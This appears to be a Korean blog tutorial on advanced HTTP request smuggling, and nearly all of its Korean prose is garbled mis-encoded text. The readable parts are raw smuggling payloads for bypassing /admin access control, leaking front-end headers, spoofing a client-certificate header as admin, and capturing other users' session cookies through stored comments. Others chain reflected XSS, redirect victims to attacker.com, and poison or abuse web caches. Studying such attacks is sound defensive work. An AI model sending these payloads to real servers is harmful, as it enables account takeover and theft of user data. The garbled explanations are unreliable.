HTTP Request Smuggling(HRS)์ ๋ค์ํ ๋ฐฉ์์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค. ์๋ ๊ธ์ ๊ธฐ๋ณธ ๊ฐ๋ ์ ๊ดํ ๋ด์ฉ์ด๋ค.
2024.12.08 - [web hacking ๐ฅ/techniques โ principles] - HTTP Request Smuggling ์ทจ์ฝ์
01. Front-end Security Control ์ฐํ
๋ช๋ช ์ ํ๋ฆฌ์ผ์ด์ ์ front-end ์๋ฒ์ security controls๋ฅผ ๋์ด ๊ฐ ์์ฒญ์ ์ ๋ฌํ ์ง ์ฌ๋ถ๋ฅผ ๊ฒฐ์ ํ๋ค. ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ์ฉ์์ธ์ง๋ฅผ front-end์์ ํ๋จํ๋ค๋ฉด back-end๋ ๋งค ์๊ฐ ๋ค์ด์ค๋ ์์ฒญ์ ์์ฌํ ๋ถ๋ด์ด ์ค๋ค๋ ๊ตฌ์กฐ๋ก ์ดํดํ ์ ์๋ค. ํ์ง๋ง, ์ด๋ฌํ ํ๊ฒฝ์์ HRS ์ทจ์ฝ์ ์ ์ ๊ทผ ์ ์ด๋ฅผ ์ฐํํ์ฌ ์ ํ๋ URL์ ๋๋ฌํ ์ ์๊ฒ ํด์ค๋ค.
ํ ์ฌ์ฉ์๊ฐ “/home” ์๋ ์ ๊ทผ๊ฐ๋ฅํ์ง๋ง, “/admin”์๋ ๋ถ๊ฐ๋ฅํ๋ค๊ณ ๊ฐ์ ํด๋ณด์. ๊ทธ๋ ๋ค๋ฉด ์๋์ ๊ฐ์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
POST /home HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
x: x
๋ค์ ์์ฒญ์ผ๋ก ์ ์์ ์ธ “/home” ์์ฒญ์ ๋ณด๋ด๋ฉด ์๋์ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ๋์ค๊ฒ ๋๋ค.
GET /admin HTTP/1.1
x: xGET /home HTTP/1.1
Host: kortsec1.com
...
02. Revealing Front-end Request Rewriting
front-end ์๋ฒ์์ ์์ฒญ์ ์์ ํ์ฌ back-end ์๋ฒ๋ก ๋ณด๋ด๋ ๊ฒฝ์ฐ๊ฐ ์๋ค. ์๋ ์ํฉ๊ณผ ๊ฐ์ด ์ถ๊ฐ์ ์ธ ์์ฒญ ํค๋๋ฅผ ์ถ๊ฐํ์ฌ ๋ณด๋ด๋ ๊ฒ์ด๋ค.
- TLS ์ฐ๊ฒฐ์ ์ข ๋ฃํ๊ณ ์ฌ์ฉ๋ ํ๋กํ ์ฝ๊ณผ ์ํธ๋ฅผ ํค๋์ ์ถ๊ฐํ๋ค.
- X-Forwarded-For ํค๋๋ฅผ ํตํด ์ฌ์ฉ์์ IP ์ฃผ์๋ฅผ ์ ๋ฌํ๋ค.
- ์ธ์ ํ ํฐ์ ํตํด ์ฌ์ฉ์๋ฅผ ์๋ณํ๊ณ ํค๋์ ์ถ๊ฐํ๋ค.
์ฐ๋ฆฌ๊ฐ HRS ๊ณต๊ฒฉ์ ํ ๋ front-end ์๋ฒ์์ ๋ฐ์ํ๋ ์์์น ๋ชปํ ํค๋ ์ถ๊ฐ๊ฐ ์์ผ๋ฉด ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ ์์ ๊ฒ์ด๋ค. ์ฐ๋ฆฌ๊ฐ ํจ๊ณผ์ ์ธ ๊ณต๊ฒฉ์ ์ํํ๊ธฐ ์ํด์๋ ์๋ ๊ณผ์ ์ ํตํด front-end ์๋ฒ์์ ์ ํํ ์ด๋ป๊ฒ ์์ฒญ์ ์์ ํ ์ง ์์๋ด์ผ ํ๋ค.
- ์ ํ๋ฆฌ์ผ์ด์ ์๋ต์ ์์ฒญ ํ๋ผ๋ฏธํฐ๊ฐ์ ๋ฐ์ํ๋ POST ์์ฒญ์ ์ฐพ๋๋ค.
- ํด๋น POST ์์ฒญ ํ๋ผ๋ฏธํฐ๊ฐ ๋ฉ์ธ์ง ๋ณธ๋ฌธ์ ๋ง์ง๋ง์ ์ค๋๋ก ์กฐ์ ํ๋ค.
- ์์ฒญ์ back-end ์๋ฒ์ ๋ณด๋ด๊ณ ์ ์ ์์ฒญ์ ๋ณด๋ด, ์ํ๋ ์ ๋ณด๋ฅผ ์ป๋๋ค.
์์๋ฅผ ์ํด “email” ํ๋ผ๋ฏธํฐ์ ํจ๊ป ๊ตฌ์ฑ๋ ๋ก๊ทธ์ธ ํจ์๊ฐ ์๋ค๊ณ ๊ฐ์ ํ์.
POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
email=kortsec1@normal-user.net
์ ์์ฒญ์ ์๋ ๊ตฌ์ฑ์ ํฌํจํ๋ ์๋ต์ ๋ฐ๋๋ค.
<input id="email" value="kortsec1@normal-user.net" type="text">
์ด์ HRS ๊ณต๊ฒฉ์ ํตํด front-end ์๋ฒ์ rewriting ์ ๋ณด๋ฅผ ์ป์ ์ ์๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 125
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=
์์ฒญ์ ๋ณด๋ด๋ฉด “0” ์ดํ์ ๊ฐ์ ๋จ๊ฒ๋๊ณ ๋ค์ ์ ์์ ์ธ “/login” ์์ฒญ์ ๋ณด๋ด๋ฉด back-end ์๋ฒ๋ ํด๋น ์์ฒญ ๋ฟ๋ง ์๋๋ผ front-end ์๋ฒ์์ ์ถ๊ฐํ๋ ํค๋๊น์ง ํ๋ผ๋ฏธํฐ “email”์ ๊ฐ์ผ๋ก ๋ฐ๊ฒ๋๋ค. ์ด๋ฅผ ํตํด ์๋ต์ html ๋ธ๋ญ์ ์ถ๊ฐ ํค๋ ์ ๋ณด๊ฐ ๋ณด์ฌ์ง๋ ๊ฒ์ด๋ค.
<input id="email" value="POST /login HTTP/1.1
Host: kortsec1.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
์ด๋ ๊ฒ ์๊ฒ๋ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก ์์ฒญ์ ์์ ํ์ฌ back-end ์๋ฒ์ ๋ณด๋ด๋ฉด, ์ ์์ ์ธ ์์ฒญ์ผ๋ก ์์กฐํ์ฌ ์์ฒญ์ ์ํํ ์ ์๊ฒ ๋๋ค.
03. ์ฌ์ฉ์ ์ธ์ฆ ์ฐํ
TLS handshake์ ์ผ๋ถ๋ก ์๋ฒ๋ ์ธ์ฆ์๋ฅผ ์ ๊ณตํ๋ฉฐ ํด๋ผ์ด์ธํธ(๋ณดํต ๋ธ๋ผ์ฐ์ )์๊ฒ ๊ฒ์ฆ๋์์์ ์๋ฆฐ๋ค. ์ด๋ฌํ ์ธ์ฆ์๋ ๋ฑ๋ก๋ hostname๊ณผ ๋งค์นญ๋๋ “common name”(CN)์ ํฌํจํ๋ค. ํด๋ผ์ด์ธํธ๋ ์ด๋ฅผ ์ด์ฉํ์ฌ ๊ฒ์ฆ๋ ์๋ฒ์ ์ ์์ ์ธ ์์ฒญ์ ์ฃผ๊ณ ๋ฐ์ ์ ์๋ค.
๋ ๋์๊ฐ ๋ช๋ช ์ฌ์ดํธ๋ค์ ์๋ฒ ๋ฟ๋ง ์๋ ํด๋ผ์ด์ธํธ๋ ์ธ์ฆ์๋ฅผ ์ ๊ณตํ๋ ํ๊ฒฝ์ ๊ฐ์ถ๊ณ ์๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ, ํด๋ผ์ด์ธํธ์ CN์ ์ฃผ๋ก “username”๊ณผ ๊ฐ์ ๊ฐ์ ๋ฐํ์ผ๋ก back-end ์ ํ๋ฆฌ์ผ์ด์ ์ access control ๋งค์ปค๋์ฆ์ ๊ฒ์ฆ์ ๋ฐ๋๋ค.
ํด๋ผ์ด์ธํธ๋ฅผ ์ฆ๋ช ํ๋ ์์๋ค์ ํ๋ ์ด์์ non-standard HTTP ํค๋๋ฅผ ํตํด ๊ด๋ จ ์ ๋ณด๋ค์ ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ back-end ์๋ฒ๋ก ๋๊ธด๋ค. ์๋ฅผ๋ค์ด, ๋ช๋ช front-end ์๋ฒ๋ค์ ๋ค์ด์ค๋ ์์ฒญ์ ํด๋ผ์ด์ธํธ์ CN์ ํฌํจํ๋ ํค๋๋ฅผ ์ถ๊ฐํ์ฌ ๋๊ธด๋ค.
GET /admin HTTP/1.1
Host: kortsec1.com
X-SSL-CLIENT-CN: ch4n_un9
์ด๋ฌํ ํค๋๋ค์ ์ฌ์ฉ์๋ค์ ์ ์ฅ์์ ์ ์ ์๊ธฐ์ back-end ์๋ฒ๋ ๋ฏฟ์ ์ ์๋ ์ ๋ณด๊ฐ ๋๋ค. ์ฌ๊ธฐ์ ์ฐ๋ฆฌ๊ฐ ํค๋์ ์ ํํ ์กฐํฉ์ ๋ณด๋ผ ์ ์๋ค๋ฉด, ์ด๋ ์ ๊ทผ ํต์ ์ฐํ๊ฐ ๋๋ ๊ฒ์ด๋ค. front-end ์๋ฒ๋ ํค๋๊ฐ ์ด๋ฏธ ์กด์ฌํ๋ค๋ฉด ์ด๋ฅผ ๋ฎ์ด์ด ํ ๋ณด๋ด๊ธฐ ๋๋ฌธ์ ์ค์ ๊ณต๊ฒฉ์ ์ฝ์ง ์๋ค. ํ์ง๋ง, HRS ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ณต๊ฒฉ์ front-end ์๋ฒ๋ก๋ถํฐ ํค๋๋ฅผ ์จ๊ธฐ๊ณ ๋ณด๋ผ ์ ์๊ธฐ์ ๊ฐ์ญ์์ด back-end ์๋ฒ๋ก ์์ฒญ์ ์ ๋ฌํ ์ ์๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Type: x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: admin
x: x
04. ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ ๊ฐ๋ก์ฑ๊ธฐ
๋๊ธ, ์ด๋ฉ์ผ, ํ๋กํ ์๊ฐ์ ๊ฐ์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ํ ์คํธ ์ ๋ณด๋ฅผ ์ ์ฅํ๊ณ ๋ถ๋ฌ์ฌ ์ ์๋ ์์๋ ๋ค๋ฅธ ์ฌ์ฉ์๋ค์ ์์ฒญ์ ๊ฐ๋ก์ฑ ์ ์๋ ์๋จ์ด ๋๋ค.
๊ณต๊ฒฉ ์ํ์ ์ํด์ ์ ์ฅํ ๋ฐ์ดํฐ๊ฐ ๋ง์ง๋ง์ ์์นํด ์๋ ์์ฒญ์ smuggle ํด์ผํ๋ค. ์๋ฅผ๋ค์ด ๋ธ๋ก๊ทธ์ ์ ์ฅ๋๊ณ ๋ณด์ฌ์ง๋ ๋๊ธ ๊ธฐ๋ฅ์ด ์๊ณ , ์๋์ ๊ฐ์ ์์ฒญ์ ์ฌ์ฉํ๋ค ํด๋ณด์.
POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Cookie: session=xxx
csrf=xxx&postID=4&comment=ur_commnet&name=kortsec1
๋๊ธ์ ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๋ก์ฑ์ด ์ ์ฅํ๊ธฐ ์ํด HRS ๊ณต๊ฒฉ ์์ฒญ์ ๋ณด๋ธ๋ค.
GET / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 300
0
POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx
csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=
Content-Length ํค๋๋ฅผ ๋๋ํ ์ก๊ณ , body์ “commnet”๋ฅผ ๊ฐ์ฅ ๋ง์ง๋ง์ ๋ ํ HRS ๊ณต๊ฒฉ์ ์ํํ๋ค๋ฉด ์๋ฒ๋ Content-Length ํค๋์ ๊ฐ๋งํผ์ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ฉฐ ๋ค์ ์์ฒญ์ ๋๊ธ๋ก ์ ์ฅํ๊ฒ ๋๋ ๊ฒ์ด๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ์๋์ ๊ฐ๋ค.
POST /post/comment HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=xxx
csrf=xxx&postId=4&comment=ur_comment&name=kortsec1&comment=GET / HTTP/1.1
Host: kortsec1.com
Cookie: session=yyy
...
์์๊ฐ์ด ํผํด์์ ์์ฒญ๊ฐ์ด ๋๊ธ๋ก ์์ฑ๋๋ฉฐ ๋ธ๋ก๊ทธ์ ๋ฐฉ๋ฌธํ๋ ๊ฒ๋ง์ผ๋ก ์์ฝ๊ฒ ํ์ธํ ์ ์๋ค.
05. Reflected XSS with HRS
๋ง์ผ ์ ํ๋ฆฌ์ผ์ด์ ์ด reflected XSS์ ๋ํ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ฉด, HRS ์ทจ์ฝ์ ๊ณผ ์ฐ๊ฒฐํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค. ๋ณดํต์ reflected XSS exploit๊ณผ ๋ฌ๋ฆฌ, ์ด๋ ํผํด์๊ฐ ์ง์ URL์ ์ ๊ทผํ๋ ํ์์ด ์๋๋ค. ๋จ์ง, ๊ณต๊ฒฉ ์์ฒญ์ smuggle ํด๋๊ณ ํผํด์๊ฐ ์ ์์ ์ผ๋ก HTTP ์์ฒญ์ ๋ณด๋ด๋ฉด ๋๋๋ค.
User-Agent ํค๋์ reflected XSS ์ทจ์ฝ์ ์ด ์๋ ์ํฉ์์ ์๋์ ๊ฐ์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 64
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(7)</script>
X: X
๋ค๋ฅธ ์ ์ ๊ฐ ๋ค์ ์์ฒญ์ ๋ณด๋ธ๋ค๋ฉด reflected XSS ๊ณต๊ฒฉ ์ฝ๋๊ฐ ํฌํจ๋ ์๋ต์ ๋ฐ๊ฒ ๋๋ ๊ฒ์ด๋ค.
06. Open Redirect with HRS
๋ง์ ์ ํ๋ฆฌ์ผ์ด์ ๋ค์ URL ์ด๋ ์ on-site redirect๋ฅผ ์ฌ์ฉํ๋ฉฐ HTTP ์์ฒญ์ Host ํค๋๋ฅผ redirect URL์ ์์น์ํจ๋ค. Apache์ IIS ์ ๊ฐ์ ์น ์๋ฒ๋ค์ ๋ณด๋ฉด trailing slash ์์ด ์์ฒญ์ ๋ฐ์ผ๋ฉด ์ด๋ฅผ ํฌํจํ URL๋ก redirect ์ํจ๋ค.
GET /asdf HTTP/1.1
Host: kortsec1.com
HTTP/1.1 301 Moved Permanently
Location: <https://kortsec1.com/asdf/>
์ด๋ ๋ณ ๋ฌธ์ ๊ฐ ์๋ ๊ฒ ์ฒ๋ผ ๋ณด์ด์ง๋ง, HRS ๊ณต๊ฒฉ๊ณผ ๋ง๋๋ค๋ฉด ๋ค๋ฅธ ์ฌ์ฉ์๋ค์ด ์ธ๋ถ ๋๋ฉ์ธ์ ์ ์ํ๊ฒ ์ ๋ํ ์ ์๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked
0
GET /asdf HTTP/1.1
Host: attacker.com
X: X
์ ๊ณต๊ฒฉ์ ๋ค์ ์์ฒญ์ด ๋ค์ด์จ ์ฌ์ฉ์๊ฐ “attacker.com” ์ด๋ผ๋ ์ ์์ ์ธ ์ธ๋ถ ๋๋ฉ์ธ์ ์ ๊ทผํ๊ฒ ๋ง๋ ๋ค.
GET /asdf HTTP/1.1
Host: attacker.com
X: XGET / HTTP/1.1
Host: kortsec1.com
HTTP/1.1 301 Moved Permanently
Location: <https://attacker.com/asdf>
protocol-relative URL์ด ์ฌ์ฉ ๊ฐ๋ฅํ๋ค๋ฉด ์ด๋ฅผ ์ด์ฉํ๋ ๊ฒ๋ ๊ฐ๋ฅํ๋ค.
GET //attacker.com/asdf HTTP/1.1
Host: kortsec1.com
HTTP/1.1 301 Moved Permanently
Location: //attacker.com/asdf/
07. ์น ์บ์ with HRS
์น ์บ์ Poisoning
front-end ์๋ฒ๊ฐ ์ฑ๋ฅ์ ์ํด ์ ๋ณด๋ฅผ ์บ์ฑํ๊ณ ์๋ค๋ฉด ์ด๋ HRS ๊ณต๊ฒฉ๊ณผ ๋ง๋ off-site redirection์ ์ด๋์ด๋ธ๋ค. HRS๋ฅผ ํตํด redirection ์์ฒญ๊ณผ ์๋ชป๋ Host๋ฅผ ์บ์ฑํ์ฌ ์ง์์ ์ผ๋ก ์ฌ๋ฌ ํผํด์๋ค์๊ฒ ์ํฅ์ ์ค ์ ์๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 49
Transfer-Encoding: chunked
0
GET /asdf HTTP/1.1
Host: attacker.com
X: X
์ ์์ฒญ์ ๋ง์ฐฌ๊ฐ์ง๋ก ๋ค์ ์์ฒญ์ด “attacker.com/asdf” ์ผ๋ก redirect ๋๋๋ก ์ค๊ณ๋์๋ค. off-site redirect๊ฐ ์คํ๋๊ธฐ ์ ์ back-end ์๋ฒ์ ๋จ์์๋ ์ํ๋ค.
GET /asdf HTTP/1.1
Host: attacker.com
X: XGET /static/include.js HTTP/1.1
Host: kortsec1.com
front-end ์๋ฒ๋ “/static/include.js”๋ฅผ ์ ์์ ์ธ ๋๋ฉ์ธ์ ์์ฒญํ๊ณ ์ด๋ฅผ ์บ์ฑํ๋ค. ๊ทธ๋ฆฌ๊ณ ์๋์ ๊ฐ์ด ๋ค๋ฅธ ์์ฉ์๋ค์ด ํด๋น URL์ ์์ฒญํ๋ฉด “attacker.com/asdf”๋ก์ redirection์ ์๋ต์ผ๋ก ๋ฐ๋๋ค.
GET /static/include.js HTTP/1.1
Host: kortsec1.com
HTTP/1.1 301 Moved Parmanently
Location: <https://attacker.com/asdf/>
์น ์บ์ Deception
Poisoning์ ์ ์์ ์ธ ์์ฒญ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ฅํด๋๊ณ ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์คํํ๋๋ก ์ ๋ํ๋ ๊ณผ์ ์ด์๋ค. Deception ๊ณผ์ ์ ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์บ์์ ์ ์ฅํ๊ฒ ํ ํ, ๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ํ์ํ๋ ๊ณต๊ฒฉ์ด๋ค.
POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 35
Transfer-Encoding: chunked
0
GET /secret/msg HTTP/1.1
X: X
๊ณต๊ฒฉ์๋ “/secret/msg” ๊ฒฝ๋ก๋ฅผ ํตํด ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ฏผ๊ฐํ ์ ๋ณด ์ ๊ทผ์ ์ ๋ํ๊ณ ์๋ค.
GET /secret/msg HTTP/1.1
X: XGET /static/image.png HTTP/1.1
Host: kortsec1.com
Cookie: sessionId=xxx
...
๋ค๋ฅธ ์ฌ์ฉ์๋ “/static/image.png”์ ์ ๊ทผํ๋ ค ํ์ง๋ง ๊ณต๊ฒฉ์์ ์๋๋๋ก “/secret/msg”์ ์ ๊ทผํ์๊ณ , front-end๋ ์ด๋ฅผ ์บ์ฑํ์ฌ “/static/image.png”์๋ ํผํด์์ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์ ์ฅ๋๋ค. ๊ณต๊ฒฉ์๋ ๋จ์ํ ํด๋น URL์ ์ ๊ทผํ์ฌ ์ ๋ณด๋ฅผ ํ๋ํ ์ ์๋ค. ํ์ง๋ง ์ค์ํ ์ฌ์ค์ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ์ด๋ค URL์ ์ ์ฅ๋์ด์๋์ง๋ฅผ ๋ชจ๋ฅธ๋ค๋ ๊ฒ์ด๋ค. ๋น๋ฒํ ๊ณณ์ ํ๊ฒํ ํ๊ฑฐ๋ ๋ง์ ์์ static URL ๋ค์ ์ดํด๋ณด์์ผ ํ๋ค.
'web hacking ๐ฅ > techniques โ principles' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Advanced Request Smuggling (2) | 2024.12.15 |
---|---|
HTTP Request Smuggling ์ทจ์ฝ์ (0) | 2024.12.08 |
Race Condition (0) | 2024.04.05 |
SSTI - RCE(Remote Code Execution) ์ฐ๊ณ ๊ณต๊ฒฉ (0) | 2023.10.13 |